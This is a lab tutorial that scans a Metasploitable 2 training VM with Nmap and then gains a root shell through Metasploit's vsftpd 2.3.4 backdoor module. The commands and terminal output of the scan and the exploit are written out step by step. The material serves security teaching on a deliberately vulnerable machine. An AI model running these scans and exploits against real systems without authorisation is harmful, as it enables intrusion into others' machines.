NMAP and Metasploit Framework

Nmap (Network Mapper) is an open-source tool used for network discovery and security auditing. It is widely used by network administrators, penetration testers, and security professionals to discover hosts, services, and vulnerabilities in a network. Nmap can be used to perform various scanning techniques like port scanning, OS detection, version detection, and host discovery. It supports both TCP and UDP protocols and can be customized with the **Nmap Scripting Engine (NSE)** to detect more sophisticated vulnerabilities.

Features of Nmap:

- **Host Discovery**: Identifies live hosts in a network.
- **Port Scanning**: Finds open ports on target hosts.
- **OS Detection**: Determines the operating system of the target device.
- **Version Detection**: Identifies application versions running on open ports.
- **Scriptable with NSE**: Automates network scanning tasks, such as detecting vulnerabilities and misconfigurations.

VulnHub

VulnHub is a platform that provides hands-on cybersecurity training using intentionally vulnerable virtual machines (VMs). It offers a safe environment for practicing penetration testing and vulnerability assessment without affecting real-world systems. Users can download VMs, such as Metasploitable 2, and run them in virtualization software like VirtualBox or VMware.

Each VM comes with challenges that guide users in identifying and exploiting security flaws, covering topics from basic web vulnerabilities to advanced privilege escalation.

For our practice, we will use **Metasploitable 2**, a vulnerable system designed for testing Nmap and other security tools, allowing us to gain hands-on experience in network scanning and vulnerability detection.

1. Host Discovery: Identifying Live Hosts

Before scanning a network, it's crucial to determine which devices are active. Nmap can detect live hosts efficiently.

- To find which network we are on, use the command **`ifconfig`**

```
root@kali: /home/kali
File  Actions  Edit  View  Help
┌──(kali㉿kali)-[~]
└─$ sudo su
[sudo] password for kali:
┌──(root㉿kali)-[/home/kali]
└─# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.10.128  netmask 255.255.255.0  broadcast 192.168.10.255
        inet6 fe80::20c:29ff:fe54:713b  prefixlen 64  scopeid 0×20<link>
        ether 00:0c:29:54:71:3b  txqueuelen 1000  (Ethernet)
        RX packets 55  bytes 24252 (23.6 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 53  bytes 19360 (18.9 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0×10<host>
        loop  txqueuelen 1000  (Local Loopback)
```

We can see that our IP address (inet) is 192.168.10.128

As this is class C IPv4 address, our device is on the network: 192.168.10.0

The last octet (4th number) will indicate the host.

Command:

nmap -sn <network-range>

Explanation:

- -sn performs a ping scan, checking which hosts respond.
- <network-range> represents the IP range to be scanned (e.g., 192.168.10.0/24 for an entire subnet).

```
┌──(root㉿kali)-[/home/kali]
└─# nmap -sn 192.168.10.0/24
Starting Nmap 7.92 ( https://nmap.org ) at 2025-02-14 06:52 EST
Nmap scan report for 192.168.10.1
Host is up (0.0050s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 192.168.10.2
Host is up (0.0040s latency).
MAC Address: 00:50:56:EC:A9:C4 (VMware)
Nmap scan report for 192.168.10.129
Host is up (0.00093s latency).
MAC Address: 00:0C:29:AA:B6:83 (VMware)
Nmap scan report for 192.168.10.254
Host is up (0.00031s latency).
MAC Address: 00:50:56:FB:27:B7 (VMware)
Nmap scan report for 192.168.10.128
Host is up.
Nmap done: 256 IP addresses (5 hosts up) scanned in 2.20 seconds
```

Out of 5 hosts, one is our Kali Linux machine, 3 of them are default hosts (1,2 and 254). So, we know our target machine has the IP – **192.168.10.129**

For more detailed host discovery, use:

nmap -Pn <target-IP>

This command skips the ping check and scans the host directly, useful when ICMP requests are blocked.

2. Port Scanning: Finding Open Ports

Ports are communication endpoints on a networked device. Nmap's port scanning feature helps identify open ports on a target host, revealing which services are available.

Command:

`nmap <target-IP>`

This command scans the 1000 well known ports.

```
┌──(root㉿kali)-[/home/kali]
└─# nmap 192.168.10.129
Starting Nmap 7.92 ( https://nmap.org ) at 2025-02-14 07:01 EST
Nmap scan report for 192.168.10.129
Host is up (0.0036s latency).
Not shown: 977 closed tcp ports (reset)
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
23/tcp   open  telnet
```

```
25/tcp   open  smtp
53/tcp   open  domain
80/tcp   open  http
111/tcp  open  rpcbind
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
512/tcp  open  exec
513/tcp  open  login
514/tcp  open  shell
1099/tcp open  rmiregistry
1524/tcp open  ingreslock
2049/tcp open  nfs
2121/tcp open  ccproxy-ftp
3306/tcp open  mysql
5432/tcp open  postgresql
5900/tcp open  vnc
6000/tcp open  X11
6667/tcp open  irc
8009/tcp open  ajp13
8180/tcp open  unknown
MAC Address: 00:0C:29:AA:B6:83 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 1.56 seconds
```

`nmap -p 1-1000 <target-IP>`

Explanation:

- -p 1-1000 scans ports in the range 1 to 1000 (most commonly used ports).
- <target-IP> should be replaced with the actual IP address of the target system.

For a comprehensive scan of all ports:

`nmap -p- <target-IP>`

This command scans all 65,535 TCP ports.

3. OS Detection: Determining the Target's Operating System

Identifying a target's operating system is essential for security assessments and penetration testing.

Command:

`nmap -O <target-IP>`

```
┌──(root㉿kali)-[/home/kali]
└─# nmap -O 192.168.10.129
Starting Nmap 7.92 ( https://nmap.org ) at 2025-02-14 07:06 EST
Nmap scan report for 192.168.10.129
Host is up (0.0017s latency).
Not shown: 977 closed tcp ports (reset)
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
8180/tcp open  unknown
MAC Address: 00:0C:29:AA:B6:83 (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Network Distance: 1 hop

OS detection performed. Please report any incorrect results at https://nmap.org/
submit/ .
Nmap done: 1 IP address (1 host up) scanned in 3.27 seconds
```

Explanation:

- -O enables OS detection.
- This command requires root privileges (use sudo on Linux/macOS).

For better accuracy, combine OS detection with version scanning:

`nmap -A <target-IP>`

The -A option enables aggressive scanning, which includes OS detection, version detection, and traceroute.

4. Version Detection: Identifying Services and Versions

Nmap can detect which services are running on open ports and determine their versions.

Command:

`nmap -sV <target-IP>`

```
┌──(root㉿kali)-[/home/kali]
└─# nmap -sV 192.168.10.129
Starting Nmap 7.92 ( https://nmap.org ) at 2025-02-14 07:09 EST
Nmap scan report for 192.168.10.129
Host is up (0.0037s latency).
Not shown: 977 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
```

```
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
53/tcp   open  domain      ISC BIND 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp  open  rpcbind     2 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp  open  exec        netkit-rsh rexecd
513/tcp  open  login       OpenBSD or Solaris rlogind
514/tcp  open  tcpwrapped
1099/tcp open  java-rmi    GNU Classpath grmiregistry
1524/tcp open  bindshell   Metasploitable root shell
2049/tcp open  nfs         2-4 (RPC #100003)
2121/tcp open  ftp         ProFTPD 1.3.1
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open  vnc         VNC (protocol 3.3)
6000/tcp open  X11         (access denied)
6667/tcp open  irc         UnrealIRCd
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 00:0C:29:AA:B6:83 (VMware)
Service Info: Hosts:  metasploitable.localdomain, irc.Metasploitable.LAN; OSs: U
nix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap
.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.27 seconds
```

Explanation:

- -sV enables service version detection.
- <target-IP> is the address of the target machine.

For more detailed output, use:

nmap -sV --version-intensity 9 <target-IP>

This increases the intensity of version detection, providing more accurate results but taking longer.

5. Demonstration of nmap Scripting Engine

The **Nmap Scripting Engine (NSE)** is a powerful feature of Nmap that allows users to write and run scripts for various network scanning tasks. NSE scripts can automate a wide range of tasks, from service detection and vulnerability assessments to network discovery and exploitation.

Commands:
locate nmap/scripts

As we know port no. 21 (FTP) is open. So, using NSE we can find more details about the FTP port and use these details to exploit the target machine.

Locate the ftp related scripts using the following command:

locate nmap/scripts | grep ftp

```
┌──(root㉿kali)-[/home/kali]
└─# locate nmap/scripts | grep ftp
/usr/share/nmap/scripts/ftp-anon.nse
/usr/share/nmap/scripts/ftp-bounce.nse
/usr/share/nmap/scripts/ftp-brute.nse
/usr/share/nmap/scripts/ftp-libopie.nse
/usr/share/nmap/scripts/ftp-proftpd-backdoor.nse
/usr/share/nmap/scripts/ftp-syst.nse
/usr/share/nmap/scripts/ftp-vsftpd-backdoor.nse
/usr/share/nmap/scripts/ftp-vuln-cve2010-4221.nse
/usr/share/nmap/scripts/tftp-enum.nse
```

From our version detection command earlier, we know the version of FTP is vsftpd2.3.4

We can also see a script here, **ftp-vsftpd-backdoor.nse**

Let us find more details on it using the command:
nmap –p21 –script=ftp-vsftpd-backdoor.nse <target-IP>

```
┌──(root㉿kali)-[/home/kali]
└─# nmap -p21 -script=ftp-vsftpd-backdoor.nse 192.168.10.129
Starting Nmap 7.92 ( https://nmap.org ) at 2025-02-14 07:26 EST
Nmap scan report for 192.168.10.129
Host is up (0.00089s latency).

PORT   STATE SERVICE
21/tcp open  ftp
| ftp-vsftpd-backdoor:
|   VULNERABLE:
|   vsFTPd version 2.3.4 backdoor
|     State: VULNERABLE (Exploitable)
|     IDs:  BID:48539  CVE:CVE-2011-2523
|       vsFTPd version 2.3.4 backdoor, this was reported on 2011-07-04.
|     Disclosure date: 2011-07-03
|     Exploit results:
|       Shell command: id
|       Results: uid=0(root) gid=0(root)
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523
|       http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-bac
kdoored.html
|       https://www.securityfocus.com/bid/48539
|_      https://github.com/rapid7/metasploit-framework/blob/master/modules/explo
its/unix/ftp/vsftpd_234_backdoor.rb
MAC Address: 00:0C:29:AA:B6:83 (VMware)
```

State of this machine is vulnerable and this means it can be exploited. The CVE (Common Vulnerability Exposure) number is given whenever a new exploit arrives.

Now we will use Metasploit framework to exploit this vulnerability.

Metasploit Framework

It is famous among pentesters and attackers.
And you can start that framework just by writing the command **`msfconsole`**

```
┌──(root㉿kali)-[/home/kali]
└─# msfconsole
```

In Metasploit framework, you have few modules.
The first one is this exploit: 2294 exploits.

exploit as a piece of code that will take advantage of a vulnerability.

Commands to exploit FTP vulnerability: -

search vsftpd 2.3.4

```
msf6 > search vsftpd 2.3.4

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  D
escription
   -  ----                                  ---------------  ----       -----  -
----------
   0  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     V
SFTPD v2.3.4 Backdoor Command Execution


Interact with a module by name or index. For example info 0, use 0 or use exploi
t/unix/ftp/vsftpd_234_backdoor
```

This gives an exploit, exploit/unix/FTP/vsftpd_234_backdoor

To use this code for the target machine we need to pick it. It is represented by the number 0. So we can use this with the following command:

use 0

```
msf6 > use 0
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) >
```

payload is defaulted to cmd/unix/interact

Now use the command:

show options

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), see https://github.c
                                      om/rapid7/metasploit-framework/wiki/Usin
                                      g-Metasploit
   RPORT   21               yes       The target port (TCP)


Payload options (cmd/unix/interact):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Exploit target:

   Id  Name
   --  ----
   0   Automatic
```

Rhosts is remote host which means we need to set it with the ip of the target machine.

`set RHOSTS <target-ip>`

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 192.168.10.129
rhosts => 192.168.10.129
```

Now use the command:

`exploit`

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.10.129:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.10.129:21 - USER: 331 Please specify the password.
[+] 192.168.10.129:21 - Backdoor service has been spawned, handling...
[+] 192.168.10.129:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.10.128:37881 -> 192.168.10.129:6200
) at 2025-02-14 07:49:26 -0500

```

Hence, we have exploited this vulnerability to gain access of the target system.

You can use the command **`ls`** to check the list of files in the system and can also navigate the target system and view and modify anything you want.

```
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
```

You can abort the session by pressing ctrl and C together. Then “y” for yes.

Then type exit in msfconsole.

```
^C
Abort session 1? [y/N]  y

[*] 192.168.10.129 - Command shell session 1 closed.  Reason: User exit
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exit

┌──(root㉿kali)-[/home/kali]
└─#
```

Hence, we have seen how we can perform network scanning using NMAP. We also found vulnerabilities in the system using NMAP and exploited the vulnerabilities using Metasploit framework.